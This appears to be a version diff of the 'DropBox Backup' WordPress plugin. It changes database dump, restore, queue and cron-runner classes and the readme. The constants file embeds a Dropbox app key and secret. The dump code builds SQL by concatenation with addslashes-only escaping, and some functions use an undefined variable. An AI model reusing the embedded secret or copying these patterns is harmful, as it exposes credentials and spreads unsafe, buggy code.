+ if (!isset($proc_data['optimize'])) {
48
+ $link = $this->connect($db);
49
+ WPAdm_Core::log( langWPADM::get('Optimize Database Tables was started' , false) );
50
+ $n = $link->query('SHOW TABLES');
51
+ $result = $link->last_result;
52
+ if (!empty( $link->last_error ) && $n > 0) {
53
+ $this->setError($link->last_error);
54
+ } else {
55
+ for($i = 0; $i < $n; $i++ ) {
56
+ $res = array_values( get_object_vars( $result[$i] ) );
57
+ $proc_data = WPAdm_Running::getCommandResultData('db');
58
+ if (!isset($proc_data['optimize_table'][$res[0]])) {
59
+ $link->query('OPTIMIZE TABLE '. $res[0]);
60
+ if (!empty( $link->last_error ) ) {
61
+ $tables = isset($proc_data['optimize_table']) ? $proc_data['optimize_table'] : array();
62
+ $tables[$res[0]] = 1;
63
+ $proc_data['optimize_table'] = $tables;
64
+ WPAdm_Running::setCommandResultData('db', $proc_data);
65
+ $log = str_replace('%s', $res[0], langWPADM::get('Error to Optimize Table `%s`' , false) );
66
+ WPAdm_Core::log($log);
67
+ } else {
68
+ $log = str_replace('%s', $res[0], langWPADM::get('Optimize Table `%s` was successfully' , false) );
69
+ WPAdm_Core::log($log);
70
+ }
71
+ }
72
+ }
73
+ WPAdm_Core::log( langWPADM::get('Optimize Database Tables was Finished' , false) );
74
+ $proc_data = WPAdm_Running::getCommandResultData('db');
75
+ $proc_data['optimize'] = true;
76
+ WPAdm_Running::setCommandResultData('db', $proc_data);
77
+ }
78
  }
 
 
79
  }
80
 
81
+ public function mysqldump($db, $filename)
82
+ {
83
+ $proc_data = WPAdm_Running::getCommandResultData('db');
84
+ if (!isset($proc_data['mysqldump'])) {
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
85
  $link = $this->connect($db);
86
+ WPAdm_Core::log( langWPADM::get('MySQL of Dump was started' , false) );
87
+ $tables = array();
88
+ $n = $link->query('SHOW TABLES');
89
+ $result = $link->last_result;
90
+ if (!empty( $link->last_error )) {
91
+ $this->setError($link->last_error);
92
+ return false;
93
+ }
94
+ if ($link->last_result === null) {
95
+ /* foreach($link->error->errors as $key => $errors) {
96
+ if ($key == db_connect_fail)
97
+ }*/
98
+ $this->setError(print_r(implode("\n", $link->error->errors), 1));
99
+ return false;
100
+ }
101
+ for($i = 0; $i < $n; $i++ ) {
102
+ $row = array_values( get_object_vars( $result[$i] ) );
103
+ $tables[] = $row[0];
104
+ }
105
+
106
+ foreach($tables as $table) {
107
+ $return = '';
108
+ $proc_data = WPAdm_Running::getCommandResultData('db');
109
+ if (!isset($proc_data['mysqldump_table'][$table])) {
110
 
 
 
 
 
111
 
112
+ $result = $link->last_result;
113
+ if (!empty( $link->last_error ) && $n > 0) {
114
+ $this->setError($link->last_error);
115
+ }
116
+ $return.= 'DROP TABLE IF EXISTS ' . $table . ';';
117
 
118
+ $ress = $link->query('SHOW CREATE TABLE ' . $table);
119
+ $result2 = $link->last_result;
120
+ if (!empty( $link->last_error ) && $n > 0) {
121
+ $this->setError($link->last_error);
 
 
 
 
 
 
 
 
122
  }
123
+ $row2 = array_values( get_object_vars( $result2[0] ) );
124
+ $return.= "\n\n".$row2[1].";\n\n";
125
+
126
+ file_put_contents($filename, $return, FILE_APPEND);
127
+ $proc_data = WPAdm_Running::getCommandResultData('db');
128
+ $proc_data['mysqldump_table'][$table] = 1;
129
+ WPAdm_Running::setCommandResultData('db', $proc_data);
130
+ $log = str_replace('%s', $table, langWPADM::get('Add a table "%s" in the database dump' , false) );
131
+ WPAdm_Core::log( $log );
132
+ }
133
+ $while = true;
134
+ while($while) {
135
+ $table_db = WPAdm_Running::getCommandResultData('tabledb');
136
+ if (isset($table_db[$table])) {
137
+ if (isset($table_db[$table]['work']) && $table_db[$table]['work'] == true) {
138
+ $from = $table_db[$table]['from']; // value from
139
+ $to = $table_db[$table]['to']; // value to
140
+ }
141
+ } else {
142
+ $from = 0;
143
+ $to = $this->rows;
144
+ }
145
+ if (isset($from) && !empty($to) && $from >= 0 && $to >= 0) {
146
+ unset($link);
147
+ $link = $this->connect($db);
148
+ $num_fields = $link->query( 'SELECT * FROM ' . $table . " LIMIT {$from}, {$to}" );
149
+ if ($num_fields > 0) {
150
+
151
+ $result2 = $link->last_result;
152
+ for ($i = 0; $i < $num_fields; $i++) {
153
+ $return = '';
154
+ $row = array_values( get_object_vars( $result2[$i] ) );
155
+ //WPAdm_Core::log('row' . print_r($row, 1));
156
+ $rows_num = count($row);
157
+ if ($rows_num > 0) {
158
+ $return.= 'INSERT INTO ' . $table . ' VALUES(';
159
+ for($j=0; $j < $rows_num; $j++) {
160
+ $row[$j] = addslashes($row[$j]);
161
+ $row[$j] = str_replace("\n","\\n",$row[$j]);
162
+ if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
163
+ if ($j<($rows_num-1)) { $return.= ','; }
164
+ }
165
+ $return .= ");\n";
166
+ file_put_contents($filename, $return, FILE_APPEND);
167
+ $from += 1;
168
+ $table_db[$table]['from'] = $from;
169
+ $table_db[$table]['to'] = $to;
170
+ $table_db[$table]['work'] = true;
171
+ WPAdm_Running::setCommandResultData('tabledb', $table_db);
172
+
173
+ }
174
+
175
+ }
176
+ $log = str_replace(array('%s', '%from%', '%to%'), array($table, $from, $to), langWPADM::get('Add a table rows "%s" in the database dump from %from% to %to%' , false) );
177
+ WPAdm_Core::log( $log );
178
+ } else {
179
+ $while = false;
180
+ $table_db[$table]['work'] = false;
181
+ WPAdm_Running::setCommandResultData('tabledb', $table_db);
182
+ }
183
+ } else {
184
+ $while = false;
185
+ $table_db[$table]['work'] = false;
186
+ WPAdm_Running::setCommandResultData('tabledb', $table_db);
187
+ }
188
+ }
189
+ if (!isset($proc_data['mysqldump_table'][$table])) {
190
+ $return ="\n\n\n";
191
+ file_put_contents($filename, $return, FILE_APPEND);
192
  }
193
  }
194
+ unset($link);
195
+ WPAdm_Core::log( langWPADM::get('MySQL of Dump was finished' , false) );
196
+ $proc_data = WPAdm_Running::getCommandResultData('db');
197
+ $proc_data['mysqldump'] = true;
198
+ WPAdm_Running::setCommandResultData('db', $proc_data);
199
+ return true;
200
+ } else {
201
+ return false;
202
  }
 
 
 
 
 
 
 
203
  }
204
 
205
  private function setError($txt)
206
  {
 
207
  throw new Exception($txt);
208
  }
209
 
210
  public function restore($db, $file)
211
  {
212
  $link = $this->connect($db);
213
+ WPAdm_Core::log( langWPADM::get('Restore Database was started' , false) );
214
  $fo = fopen($file, "r");
215
  if (!$fo) {
216
+ WPAdm_Core::log( langWPADM::get('Error in open file dump' , false) );
217
+ $this->setError( langWPADM::get('Error in open file dump' , false) );
218
  return false;
219
  }
220
  $sql = "";
225
  if ($char_new !== false && $char_new != "\n") {
226
  $sql .= $char_new;
227
  } else {
228
+ $ress = $link->query($sql);
229
+ if (!empty( $link->last_error ) && $n > 0) {
230
+ $this->setError($link->last_error);
231
+ WPAdm_Core::log(langWPADM::get('MySQL Error: ' , false) . $link->last_error);
232
  break;
233
  };
234
  $sql = "";
235
  }
236
  }
237
  }
238
+ WPAdm_Core::log(langWPADM::get('Restore Database was finished' , false));
239
  }
240
  }
241
  }
modules/class-wpadm-queue.php CHANGED
@@ -33,12 +33,15 @@ if (!class_exists('WPAdm_Queue')) {
33
  private $id;
34
 
35
  private $error;
 
 
36
 
37
  public function __construct($id) {
38
  $this->id = $id;
39
  }
40
 
41
  public function add(WPAdm_Command_Context $context) {
 
42
  $this->contexts[] = $context;
43
  return $this;
44
  }
@@ -64,7 +67,6 @@ if (!class_exists('WPAdm_Queue')) {
64
  $host = $pu['host'];
65
  $path = isset($pu['path']) ? $pu['path'] . "/" : "/" ;
66
 
67
- //WPAdm_Core::log('execute on host ' . $host);
68
  $data = array(
69
  'method' => 'queue_controller',
70
  'params' => array(
@@ -86,6 +88,8 @@ if (!class_exists('WPAdm_Queue')) {
86
  curl_setopt($curl, CURLOPT_POST, true);
87
  curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
88
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);
 
 
89
  $res = curl_exec($curl);
90
  curl_close($curl);
91
  return $this->wait_result();
@@ -97,7 +101,7 @@ if (!class_exists('WPAdm_Queue')) {
97
  fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
98
  fwrite($socket,"Content-length:".strlen($data)."\r\n");
99
  fwrite($socket,"Accept:*/*\r\n");
100
- fwrite($socket,"User-agent:Opera 10.00\r\n");
101
  fwrite($socket,"Connection:Close\r\n");
102
  fwrite($socket,"\r\n");
103
  fwrite($socket,"$data\r\n");
@@ -118,21 +122,33 @@ if (!class_exists('WPAdm_Queue')) {
118
  }
119
  if (!file_exists($done_file)) {
120
  $this->error = 'No result of the command';
121
- return false;
122
  } else {
123
  $queue = unserialize(file_get_contents($done_file));
124
  if (isset($queue['contexts'][0])) {
125
  $this->error = $queue['contexts'][0]->getError();
126
- return false;
127
  }
128
  }
129
  if (file_exists($done_file)) {
130
  unlink($done_file);
131
  }
 
 
 
132
  return true;
133
  }
 
 
 
 
 
 
 
 
 
134
 
135
  public function save() {
 
 
136
  $file = WPAdm_Core::getTmpDir() . '/' . $this->id. '.queue';
137
  $txt = serialize(
138
  array(
33
  private $id;
34
 
35
  private $error;
36
+
37
+ private $user_agent = 'dropbox-backup user-agent';
38
 
39
  public function __construct($id) {
40
  $this->id = $id;
41
  }
42
 
43
  public function add(WPAdm_Command_Context $context) {
44
+ ini_set("memory_limit", "256M");
45
  $this->contexts[] = $context;
46
  return $this;
47
  }
67
  $host = $pu['host'];
68
  $path = isset($pu['path']) ? $pu['path'] . "/" : "/" ;
69
 
 
70
  $data = array(
71
  'method' => 'queue_controller',
72
  'params' => array(
88
  curl_setopt($curl, CURLOPT_POST, true);
89
  curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
90
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);
91
+ curl_setopt($curl, CURLOPT_USERAGENT, $this->user_agent);
92
+
93
  $res = curl_exec($curl);
94
  curl_close($curl);
95
  return $this->wait_result();
101
  fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
102
  fwrite($socket,"Content-length:".strlen($data)."\r\n");
103
  fwrite($socket,"Accept:*/*\r\n");
104
+ fwrite($socket,"User-agent:" . $this->user_agent. "\r\n");
105
  fwrite($socket,"Connection:Close\r\n");
106
  fwrite($socket,"\r\n");
107
  fwrite($socket,"$data\r\n");
122
  }
123
  if (!file_exists($done_file)) {
124
  $this->error = 'No result of the command';
 
125
  } else {
126
  $queue = unserialize(file_get_contents($done_file));
127
  if (isset($queue['contexts'][0])) {
128
  $this->error = $queue['contexts'][0]->getError();
 
129
  }
130
  }
131
  if (file_exists($done_file)) {
132
  unlink($done_file);
133
  }
134
+ if (!empty($this->error) ) {
135
+ return false;
136
+ }
137
  return true;
138
  }
139
+ private function deleteCommands()
140
+ {
141
+ $files = glob(WPAdm_Core::getTmpDir() . "/wpadm_method_*");
142
+ if (!empty($files)) {
143
+ for($i = 0; $i < $n; $i++) {
144
+ WPAdm_Core::rmdir($files[$i]);
145
+ }
146
+ }
147
+ }
148
 
149
  public function save() {
150
+ ini_set("memory_limit", "256M");
151
+ $this->deleteCommands();
152
  $file = WPAdm_Core::getTmpDir() . '/' . $this->id. '.queue';
153
  $txt = serialize(
154
  array(
class-wpadm-result.php → modules/class-wpadm-result.php RENAMED
@@ -1,117 +1,127 @@
1
- <?php
2
- if (!class_exists('WPAdm_Result')) {
3
- class WPAdm_Result {
4
- /*
5
- * Status of the request.
6
- * Can be either a "success" - the request is successful,
7
- * or "error" - in an error was encountered
8
- * @var string
9
- */
10
- private $result;
11
-
12
- /*
13
- * Text of the error that occurred during query execution
14
- * @var string
15
- */
16
- private $error = '';
17
-
18
- /*
19
- * Data obtained during query execution
20
- * @var mixed
21
- */
22
- private $data;
23
-
24
- /*
25
- * Total size of backup
26
- */
27
- private $size;
28
-
29
- const WPADM_RESULT_SUCCESS = 'success';
30
- const WPADM_RESULT_ERROR = 'error';
31
-
32
- public function __construct() {
33
- $this->result = WPAdm_Result::WPADM_RESULT_ERROR;
34
- }
35
-
36
- /**
37
- * @param mixed $data
38
- */
39
- public function setData($data)
40
- {
41
- $this->data = $data;
42
- }
43
-
44
- /**
45
- * @return mixed
46
- */
47
- public function getData()
48
- {
49
- return $this->data;
50
- }
51
-
52
- /**
53
- * @param string $error
54
- */
55
- public function setError($error)
56
- {
57
- WPAdm_Core::log($error);
58
- $this->error = $error;
59
- }
60
-
61
- /**
62
- * @return string
63
- */
64
- public function getError()
65
- {
66
- return $this->error;
67
- }
68
-
69
- /**
70
- * @param int $size
71
- */
72
- public function setSize($size)
73
- {
74
- $this->size = $size;
75
- }
76
-
77
- /**
78
- * @return int
79
- */
80
- public function getSize()
81
- {
82
- return $this->size;
83
- }
84
-
85
- /**
86
- * @param string $result
87
- */
88
- public function setResult($result)
89
- {
90
- $this->result = $result;
91
- }
92
-
93
- /**
94
- * @return string
95
- */
96
- public function getResult()
97
- {
98
- return $this->result;
99
- }
100
-
101
- public function exchangeArray(array $a) {
102
- $this->result = (isset($a['result'])) ? $a['result'] : '';
103
- $this->data = (isset($a['data'])) ? $a['data'] : '';
104
- $this->error = (isset($a['error'])) ? $a['error'] : '';
105
- $this->size = (isset($a['size'])) ? $a['size'] : '';
106
- }
107
-
108
- public function toArray() {
109
- return array(
110
- 'result' => $this->getResult(),
111
- 'error' => $this->getError(),
112
- 'data' => $this->getData(),
113
- 'size' => $this->getSize()
114
- );
115
- }
116
- }
 
 
 
 
 
 
 
 
 
 
117
  }
1
+ <?php
2
+ if (!class_exists('WPAdm_Result')) {
3
+ class WPAdm_Result {
4
+ /*
5
+ * Status of the request.
6
+ * Can be either a "success" - the request is successful,
7
+ * or "error" - in an error was encountered
8
+ * @var string
9
+ */
10
+ private $result;
11
+
12
+ /*
13
+ * Text of the error that occurred during query execution
14
+ * @var string
15
+ */
16
+ private $error = '';
17
+
18
+ /*
19
+ * Data obtained during query execution
20
+ * @var mixed
21
+ */
22
+ private $data;
23
+
24
+ /*
25
+ * Total size of backup
26
+ */
27
+ private $size;
28
+
29
+ const WPADM_RESULT_SUCCESS = 'success';
30
+ const WPADM_RESULT_ERROR = 'error';
31
+
32
+ public function __construct() {
33
+ $this->result = WPAdm_Result::WPADM_RESULT_ERROR;
34
+ }
35
+
36
+ /**
37
+ * @param mixed $data
38
+ */
39
+ public function setData($data)
40
+ {
41
+ $this->data = $data;
42
+ }
43
+
44
+ public function setValue($val, $data)
45
+ {
46
+ $this->$val = $data;
47
+ }
48
+
49
+ /**
50
+ * @return mixed
51
+ */
52
+ public function getData()
53
+ {
54
+ return $this->data;
55
+ }
56
+
57
+ /**
58
+ * @param string $error
59
+ */
60
+ public function setError($error)
61
+ {
62
+ WPAdm_Core::log($error);
63
+ $this->error = $error;
64
+ }
65
+
66
+ /**
67
+ * @return string
68
+ */
69
+ public function getError()
70
+ {
71
+ return $this->error;
72
+ }
73
+
74
+ /**
75
+ * @param int $size
76
+ */
77
+ public function setSize($size)
78
+ {
79
+ $this->size = $size;
80
+ }
81
+
82
+ /**
83
+ * @return int
84
+ */
85
+ public function getSize()
86
+ {
87
+ return $this->size;
88
+ }
89
+
90
+ /**
91
+ * @param string $result
92
+ */
93
+ public function setResult($result)
94
+ {
95
+ $this->result = $result;
96
+ }
97
+
98
+ /**
99
+ * @return string
100
+ */
101
+ public function getResult()
102
+ {
103
+ return $this->result;
104
+ }
105
+
106
+ public function exchangeArray(array $a) {
107
+ $this->result = (isset($a['result'])) ? $a['result'] : '';
108
+ $this->data = (isset($a['data'])) ? $a['data'] : '';
109
+ $this->error = (isset($a['error'])) ? $a['error'] : '';
110
+ $this->size = (isset($a['size'])) ? $a['size'] : '';
111
+ }
112
+
113
+ public function toArray($all = false) {
114
+
115
+ if ($all) {
116
+ return get_object_vars( $this );
117
+ } else {
118
+ return array(
119
+ 'result' => $this->getResult(),
120
+ 'error' => $this->getError(),
121
+ 'data' => $this->getData(),
122
+ 'size' => $this->getSize()
123
+ );
124
+ }
125
+ }
126
+ }
127
  }
modules/class-wpadm-running.php ADDED
@@ -0,0 +1,239 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Class WPAdm_Running
4
+ */
5
+ if (!class_exists('WPAdm_Running')) {
6
+
7
+ if (function_exists('set_time_limit')) {
8
+ @set_time_limit(30);
9
+ }
10
+ if (function_exists('ini_set')) {
11
+ @ini_set('memory_limit', '2048M');
12
+ }
13
+
14
+
15
+ add_action('drb_run_backup', array('wpadm_running', 'init') );
16
+
17
+ class WPAdm_Running {
18
+
19
+ private static $command_result_data = array();
20
+ private static $command_result = '';
21
+ private static $command_result_id = false;
22
+
23
+ static function init_params_default($method = true)
24
+ {
25
+ update_option(PREFIX_BACKUP_ . "_commands", array());
26
+ update_option(PREFIX_BACKUP_ . "proccess-command", array());
27
+ set_transient('drb_running', 0, 60 * 5);
28
+ $path = WPAdm_Core::getTmpDir();
29
+ if (!empty($path)) {
30
+ WPAdm_Core::rmdir($path . "/db");
31
+ WPAdm_Core::rmdir($path . "/files");
32
+ WPAdm_Core::rmdir($path . "/files2");
33
+ WPAdm_Core::rmdir($path . "/archive");
34
+ WPAdm_Core::rmdir($path . "/command_dropbox");
35
+ WPAdm_Core::rmdir($path . "/errors_sending");
36
+ WPAdm_Core::rmdir($path . "/tabledb");
37
+ if ($method) {
38
+ $files = glob($path ."/wpadm_method*.queue");
39
+ if (!empty($files)) {
40
+ $n = count($files);
41
+ for($i = 0; $i < $n; $i++) {
42
+ WPAdm_Core::rmdir($files[$i]);
43
+ }
44
+ }
45
+ $files = glob($path ."/wpadm_method*.done");
46
+ if (!empty($files)) {
47
+ $n = count($files);
48
+ for($i = 0; $i < $n; $i++) {
49
+ WPAdm_Core::rmdir($files[$i]);
50
+ }
51
+ }
52
+ }
53
+ }
54
+ }
55
+
56
+ static function init()
57
+ {
58
+ $command = self::getCommand();
59
+ if ($command) {
60
+ WPAdm_Core::$cron = false;
61
+ wpadm_class::$type = 'full';
62
+ //$time_load = ini_get("max_execution_time");
63
+ //WPAdm_Core::log('proccess is work ' . $time_load . 'sec');
64
+ /*if ($time_load != 0) {
65
+ self::run($time_load - 5);
66
+ } else {
67
+ self::run(90);
68
+ } */
69
+ self::run(50);
70
+
71
+ if ( self::checkLock() ) {
72
+
73
+ $core = new WPAdm_Core($command, 'full_backup_dropbox', DRBBACKUP_BASE_DIR);
74
+ if ( $result = $core->getResult()->toArray(true) ) {
75
+ if ($result['result'] == 'success') {
76
+ self::delCommand($command['method']);
77
+ self::stop();
78
+ self::setCommandResultData($command['method'], $result);
79
+ self::init();
80
+ } elseif ($result['result'] == 'error') {
81
+ self::setCommandResultData($command['method'], $result);
82
+ self::stop();
83
+ self::init_params_default();
84
+ }
85
+ }
86
+ }
87
+ }
88
+ }
89
+ public static function checkLock()
90
+ {
91
+ // false - cron is running
92
+ // true - cron not running
93
+ $running_cron = get_transient('drb_running');
94
+ if ($running_cron && $running_cron == 1) {
95
+ $time = microtime( true );
96
+ $locked = get_transient('doing_cron');
97
+
98
+ if ( $locked > $time + 10 * 60 ) { // 10 minutes
99
+ $locked = 0;
100
+ }
101
+ if ((defined('WP_CRON_LOCK_TIMEOUT') && $locked + WP_CRON_LOCK_TIMEOUT > $time) || (!defined('WP_CRON_LOCK_TIMEOUT') && $locked + 60 > $time)) {
102
+ return false;
103
+ }
104
+ if (function_exists('_get_cron_array')) {
105
+ $crons = _get_cron_array();
106
+ } else {
107
+ $crons = get_option('cron');
108
+ }
109
+ if (!is_array($crons)) {
110
+ return false;
111
+ }
112
+
113
+ $values = array_values( $crons );
114
+ if (isset($values['drb_run_backup'])) {
115
+ $keys = array_keys( $crons );
116
+ if ( isset($keys[0]) && $keys[0] > $time ) {
117
+ return false;
118
+ }
119
+ }
120
+ }
121
+ set_transient('drb_running', 1, 60 * 5);
122
+ return true;
123
+ }
124
+
125
+ static function is_running()
126
+ {
127
+ $running = get_transient('drb_running');
128
+ if ($running && $running == 0) {
129
+ //return false;
130
+ }
131
+ return true;
132
+ }
133
+
134
+ static function getCommand($command = '')
135
+ {
136
+ $commands = get_option(PREFIX_BACKUP_ . "_commands");
137
+ if ($commands !== false && is_array($commands) && isset($commands[0]) && empty($command) ) {
138
+ return $commands[0];
139
+ } elseif (!empty($command) && $commands !== false && is_array($commands)) {
140
+ $id = wpadm_in_array($command, 'method', $commands, true );
141
+ }
142
+ return false;
143
+ }
144
+ static function setCommand($method, $params = array() )
145
+ {
146
+ $commands = get_option(PREFIX_BACKUP_ . "_commands");
147
+ if ( ( $commands === false ) || !wpadm_in_array($method, 'method', $commands ) ) {
148
+ $commands[] = array('method' => $method, 'params' => $params, 'work' => 0 );
149
+ update_option(PREFIX_BACKUP_ . "_commands", $commands);
150
+ }
151
+ }
152
+ static function delCommand($method)
153
+ {
154
+ $commands = get_option(PREFIX_BACKUP_ . "_commands");
155
+ if ($commands !== false && is_array($commands)) {
156
+ $id = wpadm_in_array($method, 'method', $commands, true);
157
+ unset($commands[$id]);
158
+ if (!empty($commands)) {
159
+ $commands = array_values($commands);
160
+ } else {
161
+ $commands = array();
162
+ }
163
+ update_option(PREFIX_BACKUP_ . "_commands", $commands);
164
+ }
165
+ }
166
+
167
+ static function run($time = false)
168
+ {
169
+ if ($time) {
170
+ $time = $time + time();
171
+ } else {
172
+ $time = time();
173
+ }
174
+ wp_schedule_single_event($time, 'drb_run_backup', array() );
175
+ }
176
+
177
+ static function stop()
178
+ {
179
+ wp_clear_scheduled_hook( 'drb_run_backup', array() );
180
+ }
181
+
182
+ static function setCommandResult($command, $work = false )
183
+ {
184
+ $options = get_option( PREFIX_BACKUP_ . "proccess-command" );
185
+ $id = wpadm_in_array($command, 'command', $options, true );
186
+ self::$command_result = $command;
187
+ if ($options === false || $id === false ) {
188
+ $options[] = array('command' => $command, 'work' => 0);
189
+ self::$command_result_id = wpadm_in_array($command, 'command', $options, true );
190
+ self::$command_result_data = array();
191
+ update_option(PREFIX_BACKUP_ . "proccess-command", $options);
192
+ } else {
193
+ if ($work) {
194
+ $options[$id]['work'] = 1;
195
+ update_option(PREFIX_BACKUP_ . "proccess-command", $options);
196
+ }
197
+ }
198
+ }
199
+
200
+ static function setCommandResultData($command, $data = array())
201
+ {
202
+ $path = WPAdm_Core::getTmpDir();
203
+ self::$command_result_data = $data;
204
+ file_put_contents($path ."/$command", wpadm_pack( $data ) );
205
+ }
206
+ static function delCommandResultData($command)
207
+ {
208
+ $path = WPAdm_Core::getTmpDir();
209
+ if (!empty($path)) {
210
+ WPAdm_Core::rmdir($path . "/$command");
211
+ }
212
+ }
213
+
214
+ static function getCommandResult($command)
215
+ {
216
+ $options = get_option( PREFIX_BACKUP_ . "proccess-command" );
217
+ if ($options !== false) {
218
+ $id = wpadm_in_array($command, 'command', $options, true );
219
+ if ($id !== false && $options[$id]['work'] == 1) {
220
+ return true;
221
+ }
222
+ }
223
+ return false;
224
+ }
225
+ static function getCommandResultData($command)
226
+ {
227
+ if (self::$command_result == $command) {
228
+ return self::$command_result_data;
229
+ } else {
230
+ $path = WPAdm_Core::getTmpDir();
231
+ if (file_exists($path . "/$command")) {
232
+ self::$command_result_data = wpadm_unpack( file_get_contents( $path . "/$command" ) );
233
+ return self::$command_result_data;
234
+ }
235
+ }
236
+ return array();
237
+ }
238
+ }
239
+ }
modules/constant.php ADDED
@@ -0,0 +1,58 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ if( !defined('WPADM_DIR_NAME') ) {
3
+ define('WPADM_DIR_NAME', 'wpadm_backups');
4
+ }
5
+
6
+ if( !defined('DROPBOX_BACKUP_DIR_NAME') ) {
7
+ define('DROPBOX_BACKUP_DIR_NAME', 'Dropbox_Backup');
8
+ }
9
+
10
+ if( !defined('DROPBOX_BACKUP_DIR_BACKUP') ) {
11
+ define('DROPBOX_BACKUP_DIR_BACKUP', WP_CONTENT_DIR . '/' . DROPBOX_BACKUP_DIR_NAME);
12
+ }
13
+
14
+ if (!defined('WPADM_DIR_BACKUP')) {
15
+ define('WPADM_DIR_BACKUP', WP_CONTENT_DIR . '/' . WPADM_DIR_NAME );
16
+ }
17
+
18
+ if (! defined("WPADM_URL_BASE")) {
19
+ define("WPADM_URL_BASE", 'http://secure.webpage-backup.com/');
20
+ }
21
+ if (! defined("WPADM_URL_PRO_VERSION")) {
22
+ define("WPADM_URL_PRO_VERSION", 'https://secure.wpadm.com/');
23
+ }
24
+
25
+ if (! defined("WPADM_APP_KEY")) {
26
+ define("WPADM_APP_KEY", 'nv751n84w2nif6j');
27
+ }
28
+
29
+ if (! defined("WPADM_APP_SECRET")) {
30
+ define("WPADM_APP_SECRET", 'qllasd4tbnqh4oi');
31
+ }
32
+
33
+ if (!defined("SERVER_URL_INDEX")) {
34
+ define("SERVER_URL_INDEX", "http://www.webpage-backup.com/");
35
+ }
36
+ if (!defined("PHP_VERSION_DEFAULT")) {
37
+ define("PHP_VERSION_DEFAULT", '5.2.4' );
38
+ }
39
+ if (!defined("MYSQL_VERSION_DEFAULT")) {
40
+ define("MYSQL_VERSION_DEFAULT", '5.0' );
41
+ }
42
+
43
+ if (!defined("PREFIX_BACKUP_")) {
44
+ define("PREFIX_BACKUP_", "wpadm_backup_");
45
+ }
46
+ if (!defined("WPADM_1DAY")) {
47
+ define("WPADM_1DAY", 86400); // 86400 sec = 1 day = 24 hours
48
+ }
49
+ if (!defined("WPADM_1WEEK")) {
50
+ define("WPADM_1WEEK", WPADM_1DAY * 7);
51
+ }
52
+ if (!defined("WPADM_COUNT_LIMIT_SEND_TO_DROPBOX")) {
53
+ define("WPADM_COUNT_LIMIT_SEND_TO_DROPBOX", 5);
54
+ }
55
+
56
+ if (!defined("SITE_HOME")) {
57
+ define("SITE_HOME", str_ireplace( array( 'http://', 'https://' ), '', home_url() ) );
58
+ }
modules/dropbox.class.php CHANGED
@@ -152,6 +152,7 @@ class dropbox
152
  elseif (!$dir['is_dir']) {
153
  return array (
154
  "size" => $dir['size'],
 
155
  "date" => $dir['modified'],
156
  "name" => $dir['path']
157
  );
152
  elseif (!$dir['is_dir']) {
153
  return array (
154
  "size" => $dir['size'],
155
+ "bytes" => $dir['bytes'],
156
  "date" => $dir['modified'],
157
  "name" => $dir['path']
158
  );
errorHandler.php → modules/errorHandler.php RENAMED
File without changes
readme.txt CHANGED
@@ -1,46 +1,544 @@
1
- === DropBox Backup ===
2
- Plugin Name: DropBox Backup
3
- Version: 1.1
4
  Donate link: http://www.wpadm.com/donate
5
  URI: http://www.wpadm.com/dropbox-backup
6
- Tags: DropBox, Backup, Dropbox Backup, database, file, full backup, manage, sicherung, database backup, file backup, page backup, page, web, web backup, web page, web page backup, site, site backup, back up, cloud, Cloud Files, db backup, dump, german, migrate, multisite, Russian, schedule, storage, time, upload
7
- Requires at least: 4.0.0
8
- Tested up to: 4.2.2
9
  Stable tag: trunk
10
  License: GPLv2 or later
11
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
12
  Author: WPAdm.com
13
  Contributors: WPAdm.com
14
 
15
- DropBox Backup Plugin to create DropBox Full Backup (Files + Database) of your Web Page
16
 
17
  == Description ==
18
 
19
- Supports WordPress backups to Local Storage or upload to DropBox.
20
 
21
- * Local Backup: create the Full Backup of Web Page (Files + Database) and store this at Local Storage of the Site
22
- * DropBox Backup: create the Full Backup (Files + Database) of Web Page at Local Storage and upload this to DropBox
23
 
 
24
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
25
 
26
  If you need help with the plugin or you want to report a bug please refer to http://www.wpadm.com/support/
 
 
 
 
27
 
28
  == Installation ==
29
 
30
- 1. Upload the plugin folder `DropBox Backup` to the `/wp-content/plugins/` directory of your WordPress installation.
 
31
  2. Activate the plugin through the `Plugins` menu in WordPress
32
 
33
 
 
34
 
35
- DropBox Backup Plugin have a settings section on WordPress plugin page.
36
- If you need help with the plugin or you want to report a bug please refer to http://www.wpadm.com/support/
 
 
 
 
 
 
 
 
 
 
 
 
 
37
 
38
  == Other ==
39
 
 
 
40
  Usefull additional functions can be found at www.wpadm.com in the User profile.
41
- DropBox Backup is a new plugin, so we tryed have to provide a bug-free plugin/widget. We are maintain this project.
42
 
43
  Information about privacy: AFTER the user has been registered at WPAdm service AND has confirmed their registration,
44
  our plugin will get the minimum requirements of php and mysql configuration, version and language of wordpress.
45
  This data will be send to WPAdm service, to get the plugin work correctly, to extend supported configurations of user sites with wpadm-extensions and support.
46
